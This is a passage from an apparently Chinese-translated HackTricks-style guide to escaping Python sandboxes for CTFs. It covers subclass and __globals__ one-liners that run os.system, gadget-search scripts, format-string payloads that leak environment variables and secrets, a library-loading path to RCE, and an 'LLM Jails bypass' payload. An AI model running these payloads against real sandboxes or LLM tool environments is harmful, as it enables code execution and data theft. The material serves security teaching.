[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"].__import__("os").system("ls")
|
||
|
||
#sys
|
||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")
|
||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'_sitebuiltins." in str(x) and not "_Helper" in str(x) ][0]["sys"].modules["os"].system("ls")
|
||
|
||
#commands (not very common)
|
||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "commands" in x.__init__.__globals__ ][0]["commands"].getoutput("ls")
|
||
|
||
#pty (not very common)
|
||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pty" in x.__init__.__globals__ ][0]["pty"].spawn("ls")
|
||
|
||
#importlib
|
||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "importlib" in x.__init__.__globals__ ][0]["importlib"].import_module("os").system("ls")
|
||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "importlib" in x.__init__.__globals__ ][0]["importlib"].__import__("os").system("ls")
|
||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'imp." in str(x) ][0]["importlib"].import_module("os").system("ls")
|
||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'imp." in str(x) ][0]["importlib"].__import__("os").system("ls")
|
||
|
||
#pdb
|
||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pdb" in x.__init__.__globals__ ][0]["pdb"].os.system("ls")
|
||
```
|
||
此外,我们甚至可以搜索哪些模块正在加载恶意库:
|
||
```python
|
||
bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
|
||
for b in bad_libraries_names:
|
||
vuln_libs = [ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and b in x.__init__.__globals__ ]
|
||
print(f"{b}: {', '.join(vuln_libs)}")
|
||
|
||
"""
|
||
os: CompletedProcess, Popen, NullImporter, _HackedGetData, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, CompressedValue, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, HTTPConnection, MimeTypes, BlockFinder, Parameter, BoundArguments, Signature, _FragList, _SSHFormatECDSA, CertificateSigningRequestBuilder, CertificateBuilder, CertificateRevocationListBuilder, RevokedCertificateBuilder, _CallbackExceptionHelper, Context, Connection, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, Cookie, CookieJar, BaseAdapter, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _WrappedLock, Cache, ProblemResolver, _FilteredCacheHelper, FilteredCache, NullTranslations
|
||
commands:
|
||
subprocess: BaseDependency, Origin, Version, Package
|
||
pty:
|
||
importlib: NullImporter, _HackedGetData, BlockFinder, Parameter, BoundArguments, Signature, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path
|
||
imp:
|
||
sys: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, zipimporter, _ZipImportResourceReader, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, _wrap_close, Quitter, _Printer, WarningMessage, catch_warnings, _GeneratorContextManagerBase, _BaseExitStack, Untokenizer, FrameSummary, TracebackException, CompletedProcess, Popen, finalize, NullImporter, _HackedGetData, _localized_month, _localized_day, Calendar, different_locale, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, CompressedValue, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, _LazyDescr, _SixMetaPathImporter, MimeTypes, ConnectionPool, _LazyDescr, _SixMetaPathImporter, Bytecode, BlockFinder, Parameter, BoundArguments, Signature, _DeprecatedValue, _ModuleWithDeprecations, Scrypt, WrappedSocket, PyOpenSSLContext, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, JSONDecoder, Response, monkeypatch, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _Framer, _Unframer, _Pickler, _Unpickler, NullTranslations, _wrap_close
|
||
builtins: FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, Repr, Completer, CompletedProcess, Popen, _PaddedFile, BlockFinder, Parameter, BoundArguments, Signature
|
||
pdb:
|
||
"""
|
||
```
|
||
此外,如果您认为**其他库**可能能够**调用函数以执行命令**,我们还可以**通过函数名称过滤**可能的库:
|
||
```python
|
||
bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
|
||
bad_func_names = ["system", "popen", "getstatusoutput", "getoutput", "call", "Popen", "spawn", "import_module", "__import__", "load_source", "execfile", "execute", "__builtins__"]
|
||
for b in bad_libraries_names + bad_func_names:
|
||
vuln_funcs = [ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) for k in x.__init__.__globals__ if k == b ]
|
||
print(f"{b}: {', '.join(vuln_funcs)}")
|
||
|
||
"""
|
||
os: CompletedProcess, Popen, NullImporter, _HackedGetData, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, CompressedValue, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, HTTPConnection, MimeTypes, BlockFinder, Parameter, BoundArguments, Signature, _FragList, _SSHFormatECDSA, CertificateSigningRequestBuilder, CertificateBuilder, CertificateRevocationListBuilder, RevokedCertificateBuilder, _CallbackExceptionHelper, Context, Connection, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, Cookie, CookieJar, BaseAdapter, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _WrappedLock, Cache, ProblemResolver, _FilteredCacheHelper, FilteredCache, NullTranslations
|
||
commands:
|
||
subprocess: BaseDependency, Origin, Version, Package
|
||
pty:
|
||
importlib: NullImporter, _HackedGetData, BlockFinder, Parameter, BoundArguments, Signature, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path
|
||
imp:
|
||
sys: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, zipimporter, _ZipImportResourceReader, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, _wrap_close, Quitter, _Printer, WarningMessage, catch_warnings, _GeneratorContextManagerBase, _BaseExitStack, Untokenizer, FrameSummary, TracebackException, CompletedProcess, Popen, finalize, NullImporter, _HackedGetData, _localized_month, _localized_day, Calendar, different_locale, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, CompressedValue, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, _LazyDescr, _SixMetaPathImporter, MimeTypes, ConnectionPool, _LazyDescr, _SixMetaPathImporter, Bytecode, BlockFinder, Parameter, BoundArguments, Signature, _DeprecatedValue, _ModuleWithDeprecations, Scrypt, WrappedSocket, PyOpenSSLContext, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, JSONDecoder, Response, monkeypatch, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _Framer, _Unframer, _Pickler, _Unpickler, NullTranslations, _wrap_close
|
||
builtins: FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, Repr, Completer, CompletedProcess, Popen, _PaddedFile, BlockFinder, Parameter, BoundArguments, Signature
|
||
pip:
|
||
pdb:
|
||
system: _wrap_close, _wrap_close
|
||
getstatusoutput: CompletedProcess, Popen
|
||
getoutput: CompletedProcess, Popen
|
||
call: CompletedProcess, Popen
|
||
Popen: CompletedProcess, Popen
|
||
spawn:
|
||
import_module:
|
||
__import__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec
|
||
load_source: NullImporter, _HackedGetData
|
||
execfile:
|
||
execute:
|
||
__builtins__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, zipimporter, _ZipImportResourceReader, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, _wrap_close, Quitter, _Printer, DynamicClassAttribute, _GeneratorWrapper, WarningMessage, catch_warnings, Repr, partialmethod, singledispatchmethod, cached_property, _GeneratorContextManagerBase, _BaseExitStack, Completer, State, SubPattern, Tokenizer, Scanner, Untokenizer, FrameSummary, TracebackException, _IterationGuard, WeakSet, _RLock, Condition, Semaphore, Event, Barrier, Thread, CompletedProcess, Popen, finalize, _TemporaryFileCloser, _TemporaryFileWrapper, SpooledTemporaryFile, TemporaryDirectory, NullImporter, _HackedGetData, DOMBuilder, DOMInputSource, NamedNodeMap, TypeInfo, ReadOnlySequentialNamedNodeMap, ElementInfo, Template, Charset, Header, _ValueFormatter, _localized_month, _localized_day, Calendar, different_locale, AddrlistClass, _PolicyBase, BufferedSubFile, FeedParser, Parser, BytesParser, Message, HTTPConnection, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, Address, Group, HeaderRegistry, ContentManager, CompressedValue, _Feature, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, _LazyDescr, _SixMetaPathImporter, Queue, _PySimpleQueue, HMAC, Timeout, Retry, HTTPConnection, MimeTypes, RequestField, RequestMethods, DeflateDecoder, GzipDecoder, MultiDecoder, ConnectionPool, CharSetProber, CodingStateMachine, CharDistributionAnalysis, JapaneseContextAnalysis, UniversalDetector, _LazyDescr, _SixMetaPathImporter, Bytecode, BlockFinder, Parameter, BoundArguments, Signature, _DeprecatedValue, _ModuleWithDeprecations, DSAParameterNumbers, DSAPublicNumbers, DSAPrivateNumbers, ObjectIdentifier, ECDSA, EllipticCurvePublicNumbers, EllipticCurvePrivateNumbers, RSAPrivateNumbers, RSAPublicNumbers, DERReader, BestAvailableEncryption, CBC, XTS, OFB, CFB, CFB8, CTR, GCM, Cipher, _CipherContext, _AEADCipherContext, AES, Camellia, TripleDES, Blowfish, CAST5, ARC4, IDEA, SEED, ChaCha20, _FragList, _SSHFormatECDSA, Hash, SHAKE128, SHAKE256, BLAKE2b, BLAKE2s, NameAttribute, RelativeDistinguishedName, Name, RFC822Name, DNSName, UniformResourceIdentifier, DirectoryName, RegisteredID, IPAddress, OtherName, Extensions, CRLNumber, AuthorityKeyIdentifier, SubjectKeyIdentifier, AuthorityInformationAccess, SubjectInformationAccess, AccessDescription, BasicConstraints, DeltaCRLIndicator, CRLDistributionPoints, FreshestCRL, DistributionPoint, PolicyConstraints, CertificatePolicies, PolicyInformation, UserNotice, NoticeReference, ExtendedKeyUsage, TLSFeature, InhibitAnyPolicy, KeyUsage, NameConstraints, Extension, GeneralNames, SubjectAlternativeName, IssuerAlternativeName, CertificateIssuer, CRLReason, InvalidityDate, PrecertificateSignedCertificateTimestamps, SignedCertificateTimestamps, OCSPNonce, IssuingDistributionPoint, UnrecognizedExtension, CertificateSigningRequestBuilder, CertificateBuilder, CertificateRevocationListBuilder, RevokedCertificateBuilder, _OpenSSLError, Binding, _X509NameInvalidator, PKey, _EllipticCurve, X509Name, X509Extension, X509Req, X509, X509Store, X509StoreContext, Revoked, CRL, PKCS12, NetscapeSPKI, _PassphraseHelper, _CallbackExceptionHelper, Context, Connection, _CipherContext, _CMACContext, _X509ExtensionParser, DHPrivateNumbers, DHPublicNumbers, DHParameterNumbers, _DHParameters, _DHPrivateKey, _DHPublicKey, Prehashed, _DSAVerificationContext, _DSASignatureContext, _DSAParameters, _DSAPrivateKey, _DSAPublicKey, _ECDSASignatureContext, _ECDSAVerificationContext, _EllipticCurvePrivateKey, _EllipticCurvePublicKey, _Ed25519PublicKey, _Ed25519PrivateKey, _Ed448PublicKey, _Ed448PrivateKey, _HashContext, _HMACContext, _Certificate, _RevokedCertificate, _CertificateRevocationList, _CertificateSigningRequest, _SignedCertificateTimestamp, OCSPRequestBuilder, _SingleResponse, OCSPResponseBuilder, _OCSPResponse, _OCSPRequest, _Poly1305Context, PSS, OAEP, MGF1, _RSASignatureContext, _RSAVerificationContext, _RSAPrivateKey, _RSAPublicKey, _X25519PublicKey, _X25519PrivateKey, _X448PublicKey, _X448PrivateKey, Scrypt, PKCS7SignatureBuilder, Backend, GetCipherByName, WrappedSocket, PyOpenSSLContext, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, RawJSON, JSONDecoder, JSONEncoder, Cookie, CookieJar, MockRequest, MockResponse, Response, BaseAdapter, UnixHTTPConnection, monkeypatch, JSONDecoder, JSONEncoder, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _WrappedLock, Cache, ProblemResolver, _FilteredCacheHelper, FilteredCache, _Framer, _Unframer, _Pickler, _Unpickler, NullTranslations, _wrap_close
|
||
"""
|
||
```
|
||
## 递归搜索内置对象、全局变量...
|
||
|
||
{% hint style="warning" %}
|
||
这真是**太棒了**。如果你**正在寻找像 globals、builtins、open 或其他任何对象**,只需使用这个脚本来**递归查找可以找到该对象的地方。**
|
||
{% endhint %}
|
||
```python
|
||
import os, sys # Import these to find more gadgets
|
||
|
||
SEARCH_FOR = {
|
||
# Misc
|
||
"__globals__": set(),
|
||
"builtins": set(),
|
||
"__builtins__": set(),
|
||
"open": set(),
|
||
|
||
# RCE libs
|
||
"os": set(),
|
||
"subprocess": set(),
|
||
"commands": set(),
|
||
"pty": set(),
|
||
"importlib": set(),
|
||
"imp": set(),
|
||
"sys": set(),
|
||
"pip": set(),
|
||
"pdb": set(),
|
||
|
||
# RCE methods
|
||
"system": set(),
|
||
"popen": set(),
|
||
"getstatusoutput": set(),
|
||
"getoutput": set(),
|
||
"call": set(),
|
||
"Popen": set(),
|
||
"popen": set(),
|
||
"spawn": set(),
|
||
"import_module": set(),
|
||
"__import__": set(),
|
||
"load_source": set(),
|
||
"execfile": set(),
|
||
"execute": set()
|
||
}
|
||
|
||
#More than 4 is very time consuming
|
||
MAX_CONT = 4
|
||
|
||
#The ALREADY_CHECKED makes the script run much faster, but some solutions won't be found
|
||
#ALREADY_CHECKED = set()
|
||
|
||
def check_recursive(element, cont, name, orig_n, orig_i, execute):
|
||
# If bigger than maximum, stop
|
||
if cont > MAX_CONT:
|
||
return
|
||
|
||
# If already checked, stop
|
||
#if name and name in ALREADY_CHECKED:
|
||
# return
|
||
|
||
# Add to already checked
|
||
#if name:
|
||
# ALREADY_CHECKED.add(name)
|
||
|
||
# If found add to the dict
|
||
for k in SEARCH_FOR:
|
||
if k in dir(element) or (type(element) is dict and k in element):
|
||
SEARCH_FOR[k].add(f"{orig_i}: {orig_n}.{name}")
|
||
|
||
# Continue with the recursivity
|
||
for new_element in dir(element):
|
||
try:
|
||
check_recursive(getattr(element, new_element), cont+1, f"{name}.{new_element}", orig_n, orig_i, execute)
|
||
|
||
# WARNING: Calling random functions sometimes kills the script
|
||
# Comment this part if you notice that behaviour!!
|
||
if execute:
|
||
try:
|
||
if callable(getattr(element, new_element)):
|
||
check_recursive(getattr(element, new_element)(), cont+1, f"{name}.{new_element}()", orig_i, execute)
|
||
except:
|
||
pass
|
||
|
||
except:
|
||
pass
|
||
|
||
# If in a dict, scan also each key, very important
|
||
if type(element) is dict:
|
||
for new_element in element:
|
||
check_recursive(element[new_element], cont+1, f"{name}[{new_element}]", orig_n, orig_i)
|
||
|
||
|
||
def main():
|
||
print("Checking from empty string...")
|
||
total = [""]
|
||
for i,element in enumerate(total):
|
||
print(f"\rStatus: {i}/{len(total)}", end="")
|
||
cont = 1
|
||
check_recursive(element, cont, "", str(element), f"Empty str {i}", True)
|
||
|
||
print()
|
||
print("Checking loaded subclasses...")
|
||
total = "".__class__.__base__.__subclasses__()
|
||
for i,element in enumerate(total):
|
||
print(f"\rStatus: {i}/{len(total)}", end="")
|
||
cont = 1
|
||
check_recursive(element, cont, "", str(element), f"Subclass {i}", True)
|
||
|
||
print()
|
||
print("Checking from global functions...")
|
||
total = [print, check_recursive]
|
||
for i,element in enumerate(total):
|
||
print(f"\rStatus: {i}/{len(total)}", end="")
|
||
cont = 1
|
||
check_recursive(element, cont, "", str(element), f"Global func {i}", False)
|
||
|
||
print()
|
||
print(SEARCH_FOR)
|
||
|
||
|
||
if __name__ == "__main__":
|
||
main()
|
||
```
|
||
您可以在此页面查看此脚本的输出:
|
||
|
||
{% content-ref url="https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/python/bypass-python-sandboxes/broken-reference/README.md" %}
|
||
[https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/python/bypass-python-sandboxes/broken-reference/README.md](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/python/bypass-python-sandboxes/broken-reference/README.md)
|
||
{% endcontent-ref %}
|
||
|
||
## Python 格式字符串
|
||
|
||
如果您**发送**一个将要被**格式化**的**字符串**给python,您可以使用`{}`来访问**python内部信息。** 您可以使用之前的示例来访问全局变量或内置函数,例如。
|
||
```python
|
||
# Example from https://www.geeksforgeeks.org/vulnerability-in-str-format-in-python/
|
||
CONFIG = {
|
||
"KEY": "ASXFYFGK78989"
|
||
}
|
||
|
||
class PeopleInfo:
|
||
def __init__(self, fname, lname):
|
||
self.fname = fname
|
||
self.lname = lname
|
||
|
||
def get_name_for_avatar(avatar_str, people_obj):
|
||
return avatar_str.format(people_obj = people_obj)
|
||
|
||
people = PeopleInfo('GEEKS', 'FORGEEKS')
|
||
|
||
st = "{people_obj.__init__.__globals__[CONFIG][KEY]}"
|
||
get_name_for_avatar(st, people_obj = people)
|
||
```
|
||
注意你可以通过 **点** 的方式正常 **访问属性**,例如 `people_obj.__init__`,并且通过 **括号** 访问 **字典元素**,不带引号 `__globals__[CONFIG]`。
|
||
|
||
还要注意,你可以使用 `.__dict__` 来枚举对象的元素 `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`。
|
||
|
||
格式字符串的其他一些有趣特性是可以通过添加 **`!s`**、**`!r`** 和 **`!a`** 分别在指定对象中 **执行** **`str`**、**`repr`** 和 **`ascii`** 函数:
|
||
```python
|
||
st = "{people_obj.__init__.__globals__[CONFIG][KEY]!a}"
|
||
get_name_for_avatar(st, people_obj = people)
|
||
```
|
||
此外,可以在类中**编写新的格式化程序**:
|
||
```python
|
||
class HAL9000(object):
|
||
def __format__(self, format):
|
||
if (format == 'open-the-pod-bay-doors'):
|
||
return "I'm afraid I can't do that."
|
||
return 'HAL 9000'
|
||
|
||
'{:open-the-pod-bay-doors}'.format(HAL9000())
|
||
#I'm afraid I can't do that.
|
||
```
|
||
**更多关于** **格式** **字符串** **的示例** 可以在 [**https://pyformat.info/**](https://pyformat.info) 找到
|
||
|
||
{% hint style="danger" %}
|
||
还请查看以下页面,了解将从 Python 内部对象中读取敏感信息的工具:
|
||
{% endhint %}
|
||
|
||
{% content-ref url="../python-internal-read-gadgets.md" %}
|
||
[python-internal-read-gadgets.md](../python-internal-read-gadgets.md)
|
||
{% endcontent-ref %}
|
||
|
||
### 敏感信息泄露有效载荷
|
||
```python
|
||
{whoami.__class__.__dict__}
|
||
{whoami.__globals__[os].__dict__}
|
||
{whoami.__globals__[os].environ}
|
||
{whoami.__globals__[sys].path}
|
||
{whoami.__globals__[sys].modules}
|
||
|
||
# Access an element through several links
|
||
{whoami.__globals__[server].__dict__[bridge].__dict__[db].__dict__}
|
||
|
||
# Example from https://corgi.rip/posts/buckeye-writeups/
|
||
secret_variable = "clueless"
|
||
x = new_user.User(username='{i.find.__globals__[so].mapperlib.sys.modules[__main__].secret_variable}',password='lol')
|
||
str(x) # Out: clueless
|
||
```
|
||
### LLM Jails bypass
|
||
|
||
来自 [这里](https://www.cyberark.com/resources/threat-research-blog/anatomy-of-an-llm-rce): `().class.base.subclasses()[108].load_module('os').system('dir')`
|
||
|
||
### 从格式到 RCE 加载库
|
||
|
||
根据 [**TypeMonkey chall from this writeup**](https://corgi.rip/posts/buckeye-writeups/),可以通过利用 Python 中的格式字符串漏洞从磁盘加载任意库。
|
||
|
||
作为提醒,每次在 Python 中执行操作时,都会执行某个函数。例如 `2*3` 将执行 **`(2).mul(3)`** 或 **`{'a':'b'}['a']`** 将是 **`{'a':'b'}.__getitem__('a')`**。
|
||
|
||
在 [**Python execution without calls**](./#python-execution-without-calls) 部分中还有更多类似的内容。
|
||
|
||
Python 格式字符串漏洞不允许执行函数(不允许使用括号),因此无法像 `'{0.system("/bin/sh")}'.format(os)` 那样获得 RCE。\
|
||
然而,可以使用 `[]`。因此,如果一个常见的 Python 库具有 **`__getitem__`** 或 **`__getattr__`** 方法来执行任意代码,则可以利用它们来获得 RCE。
|
||
|
||
在 Python 中寻找这样的 gadget,写作提供了这个 [**Github 搜索查询**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28\_\_getitem\_\_%7C\_\_getattr\_\_%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F\&type=code)。他发现了这个 [一个](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/\_\_init\_\_.py#L463):
|
||
```python
|
||
class LibraryLoader(object):
|
||
def __init__(self, dlltype):
|
||
self._dlltype = dlltype
|
||
|
||
def __getattr__(self, name):
|
||
if name[0] == '_':
|
||
raise AttributeError(name)
|
||
try:
|
||
dll = self._dlltype(name)
|
||
except OSError:
|
||
raise AttributeError(name)
|
||
setattr(self, name, dll)
|
||
return dll
|
||
|
||
def __getitem__(self, name):
|
||
return getattr(self, name)
|
||
|
||
cdll = LibraryLoader(CDLL)
|
||
pydll = LibraryLoader(PyDLL)
|
||
```
|
||
这个工具允许**从磁盘加载库**。因此,需要以某种方式**写入或上传要加载的库**,以正确编译到被攻击的服务器。
|
||
```python
|
||
'{i.find.__globals__[so].mapperlib.sys.modules[ctypes].cdll[/path/to/file]}'
|
||
```
|
||
挑战实际上利用了服务器中的另一个漏洞,该漏洞允许在服务器磁盘上创建任意文件。
|
||
|
||
## 解剖 Python 对象
|
||
|
||
{% hint style="info" %}
|
||
如果你想深入了解 **python 字节码**,请阅读这篇关于该主题的 **精彩** 文章:[**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
|
||
{% endhint %}
|
||
|
||
在一些 CTF 中,你可能会被提供一个 **自定义函数的名称,其中包含标志**,你需要查看 **函数** 的 **内部** 以提取它。
|
||
|
||
这是要检查的函数:
|
||
```python
|
||
def get_flag(some_input):
|
||
var1=1
|
||
var2="secretcode"
|
||
var3=["some","array"]
|
||
if some_input == var2:
|
||
return "THIS-IS-THE-FALG!"
|
||
else:
|
||
return "Nope"
|
||
```
|
||
#### dir
|
||
```python
|
||
dir() #General dir() to find what we have loaded
|
||
['__builtins__', '__doc__', '__name__', '__package__', 'b', 'bytecode', 'code', 'codeobj', 'consts', 'dis', 'filename', 'foo', 'get_flag', 'names', 'read', 'x']
|
||
dir(get_flag) #Get info tof the function
|
||
['__call__', '__class__', '__closure__', '__code__', '__defaults__', '__delattr__', '__dict__', '__doc__', '__format__', '__get__', '__getattribute__', '__globals__', '__hash__', '__init__', '__module__', '__name__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'func_closure', 'func_code', 'func_defaults', 'func_dict', 'func_doc', 'func_globals', 'func_name']
|
||
```
|
||
#### globals
|
||
|
||
`__globals__` 和 `func_globals`(相同)获取全局环境。在示例中,您可以看到一些导入的模块,一些全局变量及其声明的内容:
|
||
```python
|
||
get_flag.func_globals
|
||
get_flag.__globals__
|
||
{'b': 3, 'names': ('open', 'read'), '__builtins__': <module '__builtin__' (built-in)>, 'codeobj': <code object <module> at 0x7f58c00b26b0, file "noname", line 1>, 'get_flag': <function get_flag at 0x7f58c00b27d0>, 'filename': './poc.py', '__package__': None, 'read': <function read at 0x7f58c00b23d0>, 'code': <type 'code'>, 'bytecode': 't\x00\x00d\x01\x00d\x02\x00\x83\x02\x00j\x01\x00\x83\x00\x00S', 'consts': (None, './poc.py', 'r'), 'x': <unbound method catch_warnings.__init__>, '__name__': '__main__', 'foo': <function foo at 0x7f58c020eb50>, '__doc__': None, 'dis': <module 'dis' from '/usr/lib/python2.7/dis.pyc'>}
|
||
|
||
#If you have access to some variable value
|
||
CustomClassObject.__class__.__init__.__globals__
|
||
```
|
||
[**查看更多获取 globals 的地方**](./#globals-and-locals)
|
||
|
||
### **访问函数代码**
|
||
|
||
**`__code__`** 和 `func_code`:您可以 **访问** 这个 **属性** 来 **获取函数的代码对象**。
|
||
```python
|
||
# In our current example
|
||
get_flag.__code__
|
||
<code object get_flag at 0x7f9ca0133270, file "<stdin>", line 1
|
||
|
||
# Compiling some python code
|
||
compile("print(5)", "", "single")
|
||
<code object <module> at 0x7f9ca01330c0, file "", line 1>
|
||
|
||
#Get the attributes of the code object
|
||
dir(get_flag.__code__)
|
||
['__class__', '__cmp__', '__delattr__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__le__', '__lt__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'co_argcount', 'co_cellvars', 'co_code', 'co_consts', 'co_filename', 'co_firstlineno', 'co_flags', 'co_freevars', 'co_lnotab', 'co_name', 'co_names', 'co_nlocals', 'co_stacksize', 'co_varnames']
|
||
```
|
||
### 获取代码信息
|
||
```python
|
||
# Another example
|
||
s = '''
|
||
a = 5
|
||
b = 'text'
|
||
def f(x):
|
||
return x
|
||
f(5)
|
||
'''
|
||
c=compile(s, "", "exec")
|
||
|
||
# __doc__: Get the description of the function, if any
|
||
print.__doc__
|
||
|
||
# co_consts: Constants
|
||
get_flag.__code__.co_consts
|
||
(None, 1, 'secretcode', 'some', 'array', 'THIS-IS-THE-FALG!', 'Nope')
|
||
|
||
c.co_consts #Remember that the exec mode in compile() generates a bytecode that finally returns None.
|
||
(5, 'text', <code object f at 0x7f9ca0133540, file "", line 4>, 'f', None
|
||
|
||
# co_names: Names used by the bytecode which can be global variables, functions, and classes or also attributes loaded from objects.
|
||
get_flag.__code__.co_names
|
||
()
|
||
|
||
c.co_names
|
||
('a', 'b', 'f')
|
||
|
||
|
||
#co_varnames: Local names used by the bytecode (arguments first, then the local variables)
|
||
get_flag.__code__.co_varnames
|
||
('some_input', 'var1', 'var2', 'var3')
|
||
|
||
#co_cellvars: Nonlocal variables These are the local variables of a function accessed by its inner functions.
|
||
get_flag.__code__.co_cellvars
|
||
()
|
||
|
||
#co_freevars: Free variables are the local variables of an outer function which are accessed by its inner function.
|
||
get_flag.__code__.co_freevars
|
||
()
|
||
|
||
#Get bytecode
|
||
get_flag.__code__.co_code
|
||
'd\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S'
|
||
```
|
||
### **反汇编一个函数**
|
||
```python
|
||
import dis
|
||
dis.dis(get_flag)
|
||
2 0 LOAD_CONST 1 (1)
|
||
3 STORE_FAST 1 (var1)
|
||
|
||
3 6 LOAD_CONST 2 ('secretcode')
|
||
9 STORE_FAST 2 (var2)
|
||
|
||
4 12 LOAD_CONST 3 ('some')
|
||
15 LOAD_CONST 4 ('array')
|
||
18 BUILD_LIST 2
|
||
21 STORE_FAST 3 (var3)
|
||
|
||
5 24 LOAD_FAST 0 (some_input)
|
||
27 LOAD_FAST 2 (var2)
|
||
30 COMPARE_OP 2 (==)
|
||
33 POP_JUMP_IF_FALSE 40
|
||
|
||
6 36 LOAD_CONST 5 ('THIS-IS-THE-FLAG!')
|
||
39 RETURN_VALUE
|
||
|
||
8 >> 40 LOAD_CONST 6 ('Nope')
|
||
43 RETURN_VALUE
|
||
44 LOAD_CONST 0 (None)
|
||
47 RETURN_VALUE
|
||
```
|
||
注意,**如果你无法在python沙箱中导入`dis`**,你可以获取函数的**字节码**(`get_flag.func_code.co_code`)并在本地**反汇编**它。你不会看到正在加载的变量的内容(`LOAD_CONST`),但你可以从(`get_flag.func_code.co_consts`)中推测它们,因为`LOAD_CONST`也会告诉正在加载的变量的偏移量。
|
||
```python
|
||
dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S')
|
||
0 LOAD_CONST 1 (1)
